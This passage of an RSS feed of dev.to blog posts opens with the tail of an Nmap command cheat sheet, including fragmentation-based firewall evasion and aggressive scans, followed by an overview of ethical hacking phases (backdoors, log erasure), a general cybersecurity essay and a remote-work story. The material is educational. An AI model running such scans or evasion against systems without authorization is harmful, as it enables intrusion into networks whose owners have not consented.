&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan an entire network range.&lt;/p&gt;

&lt;p&gt;🔹 Firewall Evasion 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-f&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Evade firewalls using fragmentation.&lt;/p&gt;

&lt;p&gt;🔹 Timing Templates 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;--timing&lt;/span&gt; &amp;lt;0-5&amp;gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adjust scan timing with templates.&lt;/p&gt;

&lt;p&gt;🔹 Verbose Output 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-v&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Get detailed verbose output.&lt;/p&gt;

&lt;p&gt;🔹 Fast Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-F&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan fewer ports, suitable for a quick network overview.&lt;/p&gt;

&lt;p&gt;🔹 Traceroute 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;--traceroute&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Perform a traceroute to discover the path to the target.&lt;/p&gt;

&lt;p&gt;🔹 Exclude Ports 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap target &lt;span class="nt"&gt;--exclude-ports&lt;/span&gt; &amp;lt;port1,port2,...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exclude specific ports from the scan.&lt;/p&gt;

&lt;p&gt;🔹 Scan Multiple Targets 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap target1 target2 target3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan multiple targets in a single command.&lt;/p&gt;

&lt;p&gt;🔹 Output in XML Format 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-oX&lt;/span&gt; output.xml target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save scan results in XML format for easy parsing.&lt;/p&gt;

&lt;p&gt;🔹 Ping-Only Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Perform a ping-only scan to check host availability.&lt;/p&gt;

&lt;p&gt;🔹 Scan IPv6 Addresses 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-6&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan IPv6 addresses instead of IPv4.&lt;/p&gt;

&lt;p&gt;🔹 Aggressive Script Scan 🔹&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; target
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Document your findings! Save scan results for analysis.&lt;/p&gt;

&lt;p&gt;Remember, with great power comes great responsibility. Always ensure you have proper authorization before scanning any network or system! 🤝🔒&lt;/p&gt;

&lt;p&gt;Perform an aggressive scan with OS detection, version detection, script scanning, and traceroute.&lt;/p&gt;

&lt;p&gt;These are just some of the powerful Nmap commands at your disposal. Which one is your go-to for network reconnaissance? Share your favorites and tips below! 👇💬 &lt;/p&gt;

</description>
      <category>senselearner</category>
      <category>cybersecurity</category>
      <category>nmap</category>
      <category>networkscanning</category>
    </item>
    <item>
      <title>Unveiling the Art of Ethical Hacking: Understanding the Five Phases</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Sun, 17 Sep 2023 14:43:50 +0000</pubDate>
      <link>https://dev.to/kloudmaster/unveiling-the-art-of-ethical-hacking-understanding-the-five-phases-2je8</link>
      <guid>https://dev.to/kloudmaster/unveiling-the-art-of-ethical-hacking-understanding-the-five-phases-2je8</guid>
      <description>&lt;p&gt;In an increasingly interconnected world, where data breaches and cyberattacks have become commonplace, the importance of cybersecurity cannot be overstated. Enter ethical hacking, a proactive approach to safeguarding digital assets by identifying and addressing vulnerabilities before malicious hackers can exploit them. Ethical hackers, also known as white-hat hackers, play a critical role in fortifying cybersecurity defenses. To shed light on this vital field, this article will explore the five phases of ethical hacking and their significance in securing our digital future.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Reconnaissance (Information Gathering)
&lt;/h3&gt;

&lt;p&gt;The first phase of ethical hacking is reconnaissance, which involves gathering as much information as possible about the target system or organization. Ethical hackers use various tools and techniques to collect data such as domain names, IP addresses, network layouts, and employee information. The aim is to mimic the information-gathering methods of malicious hackers, understanding the potential entry points and vulnerabilities.&lt;/p&gt;

&lt;p&gt;The significance of this phase lies in its ability to provide a holistic view of the target's digital presence. By comprehensively mapping out potential weaknesses, ethical hackers can develop a strategic plan for further assessment.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Scanning
&lt;/h3&gt;

&lt;p&gt;After reconnaissance, the next phase is scanning, where ethical hackers actively probe the target's systems for vulnerabilities. This involves network scanning, vulnerability scanning, and port scanning. These activities help identify open ports, outdated software, misconfigurations, and other weaknesses that could be exploited by attackers.&lt;/p&gt;

&lt;p&gt;Scanning is crucial because it allows ethical hackers to pinpoint specific vulnerabilities that need immediate attention. It sets the stage for the subsequent phases, where these vulnerabilities will be further explored and tested.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Gaining Access
&lt;/h3&gt;

&lt;p&gt;The gaining access phase is where ethical hackers attempt to exploit the identified vulnerabilities. This may involve techniques such as password cracking, exploiting software flaws, or leveraging social engineering tactics. The goal here is not to cause harm but to demonstrate the potential damage that could occur in the hands of malicious hackers.&lt;/p&gt;

&lt;p&gt;This phase underscores the importance of fixing vulnerabilities promptly. It serves as a wake-up call for organizations, showing them the real-world consequences of lax cybersecurity measures.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Maintaining Access
&lt;/h3&gt;

&lt;p&gt;Once access has been gained, ethical hackers work on maintaining it. This phase involves creating backdoors or establishing persistent access points in the target system. By doing so, ethical hackers can demonstrate how attackers might maintain control over a compromised system for an extended period.&lt;/p&gt;

&lt;p&gt;Maintaining access highlights the need for continuous monitoring and incident response capabilities. Organizations must be vigilant to detect and respond to unauthorized access promptly.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Covering Tracks
&lt;/h3&gt;

&lt;p&gt;The final phase, covering tracks, is crucial for ethical hackers to ensure that their actions do not disrupt the target system or leave traces of their activities. This phase involves erasing logs, deleting files, and obscuring any evidence of the ethical hacking process.&lt;/p&gt;

&lt;p&gt;Covering tracks emphasizes the importance of forensic analysis and incident response. By understanding how ethical hackers cover their tracks, organizations can better prepare for real-world cyberattacks and minimize the damage caused.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ethical hacking is an indispensable practice in today's digital landscape. It empowers organizations to proactively identify and address vulnerabilities before malicious hackers can exploit them. The five phases of ethical hacking – reconnaissance, scanning, gaining access, maintaining access, and covering tracks – provide a structured approach to securing digital assets and ensuring a robust cybersecurity posture.&lt;/p&gt;

&lt;p&gt;As technology continues to advance, ethical hacking will remain a critical tool in the arsenal of defenders, helping to stay one step ahead of cyber threats and safeguard our digital future.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ethicalhacking</category>
      <category>senselearner</category>
    </item>
    <item>
      <title>🔒🌐 Cybersecurity in the Digital Age 🌐🔒</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Sun, 17 Sep 2023 14:33:15 +0000</pubDate>
      <link>https://dev.to/kloudmaster/cybersecurity-in-the-digital-age-8dh</link>
      <guid>https://dev.to/kloudmaster/cybersecurity-in-the-digital-age-8dh</guid>
      <description>&lt;p&gt;In a world where the physical and digital realms continually blur, cybersecurity is no longer a luxury but an absolute necessity. As we dive deeper into the digital age, our lives are becoming inseparable from technology. While this transformation offers incredible convenience and connectivity, it also brings forth a dark side – a world of cyber threats that are increasingly common.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Digital Transformation
&lt;/h3&gt;

&lt;p&gt;The digital revolution has reshaped how we live, work, and connect. We now conduct business, socialize, shop, and manage our finances online. But this convenience has a shadow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Dark Side of Connectivity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Our modern world's interconnectedness has bred a new breed of criminals exploiting digital vulnerabilities for personal gain. Here's a glimpse of the cyber landscape:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cyberattacks:&lt;/strong&gt; These are a common threat, ranging from Distributed Denial of Service (DDoS) attacks that overwhelm websites to malware infections compromising device security. Cybercriminals launch these for various motives, from financial gain to political objectives.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data Breaches:&lt;/strong&gt; A household term, these breaches involve hackers gaining unauthorized access to sensitive information like personal data, financial records, and login credentials. For individuals, it often results in identity theft and financial loss; for businesses, loss of trust and legal consequences.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Privacy Invasions:&lt;/strong&gt; Our digital footprints are extensive, making us susceptible to data exploitation by cybercriminals and unscrupulous advertisers. The erosion of privacy in the digital age blurs the line between public and private life.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;High-Profile Incidents:&lt;/strong&gt; Ransomware attacks on hospitals disrupting critical services, data breaches at social media giants, and compromises of sensitive government information illustrate the vulnerabilities in the digital realm.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Global Reach:&lt;/strong&gt; Cyber threats are borderless, making tracking and prosecuting cybercriminals a challenge. International cooperation is vital to combat this menace.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Emerging Threats:&lt;/strong&gt; With evolving technology, new threats emerge. Artificial intelligence and the Internet of Things (IoT) introduce new vulnerabilities that require proactive cybersecurity measures.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Scope of Cybersecurity
&lt;/h3&gt;

&lt;p&gt;Cybersecurity extends beyond protecting data; it safeguards the integrity, confidentiality, and availability of our digital lives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Protecting Personal Information:&lt;/strong&gt; It shields individuals from identity theft, fraud, and privacy breaches.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Business Continuity:&lt;/strong&gt; In the corporate world, cybersecurity preserves customer data, trade secrets, and reputation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Critical Infrastructure Defense:&lt;/strong&gt; It secures power grids, water supply systems, and financial institutions from cyber threats.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;National Security:&lt;/strong&gt; It protects sensitive government information, military systems, and intelligence data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Economic Stability:&lt;/strong&gt; Secure financial transactions are vital for economic stability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Global Interconnectedness:&lt;/strong&gt; In a connected world, international cooperation is crucial to establish unified cybersecurity standards.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Emerging Technologies:&lt;/strong&gt; AI, blockchain, and IoT require ongoing cybersecurity measures.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Data as the New Gold
&lt;/h3&gt;

&lt;p&gt;Data is the currency of the digital age, powering innovation, personalization, and decision-making. However, cybercriminals see organizations as treasure troves to plunder.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Looming Threat:&lt;/strong&gt; Cyberattacks and Data Breaches&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cybercriminals employ sophisticated tactics to breach data-rich organizations, causing identity theft, financial loss, reputational damage, and legal consequences.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Protecting Personal Information&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Individuals play a pivotal role by adopting strong passwords, enabling two-factor authentication, and keeping software up-to-date.&lt;/p&gt;

&lt;h3&gt;
  
  
  Businesses and Cybersecurity
&lt;/h3&gt;

&lt;p&gt;Cybersecurity is now fundamental for business operations, impacting financial viability, reputation, competitive edge, legal compliance, operational continuity, supply chain integrity, and intellectual property protection.&lt;br&gt;
In the digital era, cybersecurity is crucial for businesses because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Financial Stability:&lt;/strong&gt; Data breaches can lead to significant financial losses, including legal fees and fines.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Customer Trust:&lt;/strong&gt; Breaches erode trust, driving customers away and necessitating costly efforts to rebuild it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Competitive Advantage:&lt;/strong&gt; Strong cybersecurity can attract customers who value data security.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Legal Compliance:&lt;/strong&gt; Stricter data protection laws require businesses to prioritize cybersecurity.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Operational Continuity:&lt;/strong&gt; Cyberattacks can disrupt operations and cause revenue loss.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Supply Chain Integrity:&lt;/strong&gt; Strong cybersecurity is often a prerequisite for collaboration with partners and suppliers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Intellectual Property Protection:&lt;/strong&gt; Protecting intellectual property is vital for competitiveness.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Government and Regulation
&lt;/h3&gt;

&lt;p&gt;In an era where cyber threats transcend borders, governments worldwide have come to recognize the paramount importance of cybersecurity. They have assumed a pivotal role in mitigating the risks associated with the digital age. Here's a closer look at their involvement:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enacting Regulations and Standards:&lt;/strong&gt; Governments worldwide implement cybersecurity regulations and standards across industries to set a baseline for security and encourage organizations to prioritize cybersecurity. Examples include the NIST Cybersecurity Framework in the United States and GDPR in Europe, emphasizing that cybersecurity is a legal obligation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;International Cooperation:&lt;/strong&gt; Cyber threats transcend borders, so governments collaborate internationally, sharing threat intelligence and best practices. The United Nations promotes global cybersecurity norms, while organizations like INTERPOL coordinate law enforcement efforts. Alliances like NATO address cyber threats collectively.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Protecting Critical Infrastructure:&lt;/strong&gt; Governments prioritize safeguarding critical infrastructure like power grids and financial institutions, as cyberattacks on these systems can have catastrophic consequences. They collaborate with private sector entities to establish guidelines and respond to potential threats, with agencies like the Department of Homeland Security focusing on resilience and protection.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cybersecurity Workforce Gap
&lt;/h3&gt;

&lt;p&gt;The growing demand for cybersecurity professionals is driven by increasing cyber threats. Job postings in this sector have risen by over 60% in the past year alone. Failing to close the cybersecurity workforce gap can lead to delayed incident response, extended downtime, and higher costs for cybersecurity services. Addressing the gap requires:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Education and Training:&lt;/strong&gt; Educational institutions must update their curricula to teach the latest cybersecurity skills, covering areas like threat analysis and ethical hacking. Industry certifications like CISSP and CEH should be promoted. Continuous learning is crucial, and employers should support ongoing training.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Collaboration Between Academia and Industry:&lt;/strong&gt; Academia and industry should work together to create internships, co-op programs, and apprenticeships, providing students with practical experience and industry connections. Industry leaders can contribute real-world insights to improve educational programs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Diversity and Inclusion:&lt;/strong&gt; Promoting diversity and inclusion in cybersecurity is essential for innovative solutions. Encouraging underrepresented groups, such as women and minorities, to pursue careers in cybersecurity is vital for a more inclusive and robust workforce.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Emerging Technologies and Challenges
&lt;/h3&gt;

&lt;p&gt;The evolving digital landscape features two transformative technologies: Artificial Intelligence (AI) and the Internet of Things (IoT), offering substantial benefits but also posing complex cybersecurity challenges.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Artificial Intelligence (AI):&lt;/strong&gt; AI's ability to analyse data, make real-time decisions, and adapt attracts cybercriminals. AI-driven attacks automate and optimize malicious activities, making them harder to detect, like generating convincing phishing emails or breaching security systems. To counter this, the cybersecurity community must employ AI for defense, using it to analyse network patterns, detect anomalies, and respond to threats promptly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Internet of Things (IoT):&lt;/strong&gt; IoT's promise of convenience and efficiency is marred by lax security standards in many devices. Manufacturers prioritize functionality and cost over security, resulting in vulnerabilities like default passwords and inadequate encryption. Securing IoT requires improving device security, robust encryption, centralized security systems, and user education to mitigate risks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Staying Ahead:&lt;/strong&gt; Cybersecurity must adopt a proactive approach, investing in research, training, and collaboration:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Research and Development:&lt;/strong&gt; Continuously study emerging threats in AI and IoT to develop new security protocols and tools.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Training and Education:&lt;/strong&gt; Keep professionals and end-users informed about cybersecurity best practices to recognize and address emerging threats.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Collaboration:&lt;/strong&gt; Foster public-private partnerships and international cooperation among experts, businesses, governments, and academia to collectively address these challenges.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Human Element
&lt;/h3&gt;

&lt;p&gt;Human behaviour often plays a critical role in cybersecurity. Understanding the psychology behind cyber threats and promoting cybersecurity education and awareness are essential.&lt;br&gt;
Human behaviour is a significant and often underestimated factor in cybersecurity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Psychology of Cybersecurity:&lt;/strong&gt; Cybercriminals exploit human emotions and behaviours in attacks, such as phishing, where manipulation leads to compromised security.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Social Engineering:&lt;/strong&gt; Common cyber threats like phishing and pretexting manipulate trust and goodwill, posing risks when individuals fall for seemingly innocuous requests.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cybersecurity Education:&lt;/strong&gt; To mitigate human error, education and awareness programs are essential for recognizing threats and warning signs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Promoting a Cybersecurity Culture:&lt;/strong&gt; Organizations must cultivate a cybersecurity culture with training, simulations, and clear policies to encourage reporting of suspicious activities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Technology Alone is Insufficient:&lt;/strong&gt; While robust cybersecurity technology is crucial, it should not be the sole defense, as human error can compromise even advanced security systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ethical Hacking and Red Teaming:&lt;/strong&gt; Organizations use ethical hackers and red teams to simulate attacks, identify vulnerabilities in technology and human responses, and strengthen cybersecurity measures.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;In the digital age, cybersecurity is not an option but a responsibility. It's up to individuals, businesses, and governments to create a secure digital environment. By understanding its importance and taking proactive steps, we can build a safer digital future for all."&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>senselearner</category>
      <category>staysafeonline</category>
    </item>
    <item>
      <title>Navigating the Remote Work Maze: A DevOps Engineer's Adventure</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Sun, 03 Sep 2023 13:47:03 +0000</pubDate>
      <link>https://dev.to/aws-builders/navigating-the-remote-work-maze-a-devops-engineers-adventure-41n</link>
      <guid>https://dev.to/aws-builders/navigating-the-remote-work-maze-a-devops-engineers-adventure-41n</guid>
      <description>&lt;p&gt;Ahoy there, fellow wanderer in the digital wilderness! I'm your trusty guide on this whirlwind tour through the realms of remote work, as seen from the heart of Lagos, Nigeria. Let's rewind to the scorching Lagos summer of 2021. That's when my journey into the world of DevOps at a start-up began. The job was thrilling, but there was one problem – Lagos traffic. It's a beast of its own, a never-ending symphony of honking horns, sweltering heat, and an endless sea of cars that turns your daily commute into a battle for sanity. Buckle up, because this tale is about to get personal, entertaining, and oh-so-captivating.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chapter 1: The Hybrid Beginnings (2021)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Picture this: 2021, the year of endless possibilities and the rise of hybrid work. I joined my start-up with excitement and expectations. Little did I know that my daily commute would become a battle against the Lagos traffic monster. Picture a gladiator, armed with a laptop bag, fighting for every precious minute. The lost hours were as painful as stepping on a Lego brick barefoot.&lt;/p&gt;

&lt;p&gt;Our company, like many others, embraced the hybrid model. It was a dream come true. The office was our sanctuary, a place of collaboration and coffee-stained camaraderie. Yet, we cherished the flexibility of remote work – trading pantsuits for pyjamas, and cubicles for cozy corners of our homes. Productivity soared, and all was right in our world, and life was good. But little did we know that the tides of change were approaching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chapter 2: The Full Remote Revolution (2022)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fast forward to 2022. The traffic nightmare had escalated to a full-blown horror show. We, the valiant employees of our start-up, felt like lost souls on the road, our spirits crushed by endless traffic jams, were spending more time stuck in our cars than sleeping. It was then that our CEO, in an epiphany-induced moment, declared, "No more suffering in Lagos traffic! We're going fully remote!"&lt;/p&gt;

&lt;p&gt;Cue the cheers and high-fives, as we embraced the remote work revolution with open arms. No more traffic torture. Our daily grind became a dance of Google Meet, Slack messages, and a comforting pair of sweatpants.&lt;/p&gt;

&lt;p&gt;Life was good, until it wasn't. The lack of face-to-face communication began to take its toll. We missed the water cooler chats, the spontaneous brainstorming sessions, and the camaraderie of the office. It turned out that virtual emojis couldn't replace the warmth of a genuine smile. The work-life balance was teetering on a tightrope, and our connection seemed to waver.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chapter 3: Return to the Nest (2023)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With heavy hearts and a longing for the good ol' office days, &lt;br&gt;
like homing pigeons, we returned to our physical office in 2023. The hybrid model became our lodestar. We could choose the comfort of home or the vibrant buzz of the office. There, we rediscovered the magic of face-to-face communication, like rekindling an old flame.&lt;/p&gt;

&lt;p&gt;We celebrated our return with the fervour of astronauts landing on a newfound planet. The hybrid model gave us the best of both worlds once again. We could choose to work from home or come to the office, depending on our needs. The coffee mugs clinked, the laughter echoed, and the hum of collaboration filled the air once more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chapter 4: The DevOps Journey - Lessons in Adaptation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;As a DevOps engineer navigating this remote work odyssey, I've learned a few invaluable lessons. Adaptability, my friends, is the name of the game. Embrace change with open arms and find ways to thrive in every work environment, whether it's the office or your cozy home office.&lt;/p&gt;

&lt;p&gt;Communication, the magical elixir of remote teams, has been my trusty sidekick. From Zoom calls that turned into epic sagas to late-night Slack conversations that felt like secret missions, technology bridged the gap. Yet, nothing beats the simple pleasure of sharing ideas over a cup of coffee.&lt;/p&gt;

&lt;p&gt;Lastly, I've come to realize the importance of setting boundaries in this remote world. Without clear lines between work and personal life, it's easy to lose yourself in the digital whirlwind. Balance, my friends, is the key to longevity in this remote work adventure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From Lagos, with love, I've shared my riveting tale of remote work's rise, fall, and triumphant return. It's been a rollercoaster, a wild safari through the digital jungle. But every twist and turn has made me a better DevOps engineer and a wiser human being.&lt;/p&gt;

&lt;p&gt;So, here's to the future, wherever it may take us. As long as we keep embracing change and seeking the perfect blend of remote and in-person, our adventure will continue to be a thrilling, captivating journey. Cheers to the remote work maze, my friends!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your Thoughts Matter - Share Your Remote Work Odyssey!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now, dear readers, it's your turn to join the conversation. I've shared my personal odyssey through the ever-evolving landscape of remote work, but I'm eager to hear your stories, insights, and experiences.&lt;/p&gt;

&lt;p&gt;Have you had your own remote work rollercoaster ride, perhaps in a different part of the world? Do you have tips, tricks, or funny anecdotes to share about your journey? Or maybe you've faced unique challenges and found creative solutions that could benefit others?&lt;/p&gt;

&lt;p&gt;We invite you to be a part of this ongoing dialogue. Share your thoughts, stories, and feedback in the comments section below. Let's turn this article into a virtual campfire where we swap tales of remote work triumphs and tribulations.&lt;/p&gt;

&lt;p&gt;Your feedback is not only welcomed; it's cherished. Together, we can continue to navigate the ever-evolving world of remote work, making it an even more captivating and fulfilling journey for all.&lt;/p&gt;

&lt;p&gt;So, dear readers, the stage is yours. Let the conversation begin! 🚀🌍🏡&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FAQs&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  1.Is remote work here to stay?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Remote work is likely to remain a significant part of the 
work landscape, offering flexibility and efficiency.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2. How can I adapt to remote work effectively?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Embrace technology, maintain clear communication, and set 
boundaries to thrive in remote work.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  3. What are the benefits of a hybrid work model?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;A hybrid model combines the best of remote and in-office work, offering flexibility and personalization.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  4. What challenges can remote work pose for team cohesion?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt; Lack of face-to-face interaction can lead to communication challenges and a sense of isolation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  5. How do you maintain a work-life balance in a remote setup?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Establish clear boundaries, schedule breaks, and create a dedicated workspace to maintain work-life balance.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  6. What is the future of remote work post-pandemic?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;The future of remote work will likely involve a blend of remote and in-person work, tailored to individual needs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  7. Can remote work enhance productivity?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Remote work can boost productivity due to reduced commute times and personalized work environments.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  8. What role does adaptability play in remote work success?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Adaptability is crucial for thriving in remote work as it enables individuals to navigate changing work environments effectively.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>job</category>
      <category>remote</category>
      <category>hybrid</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
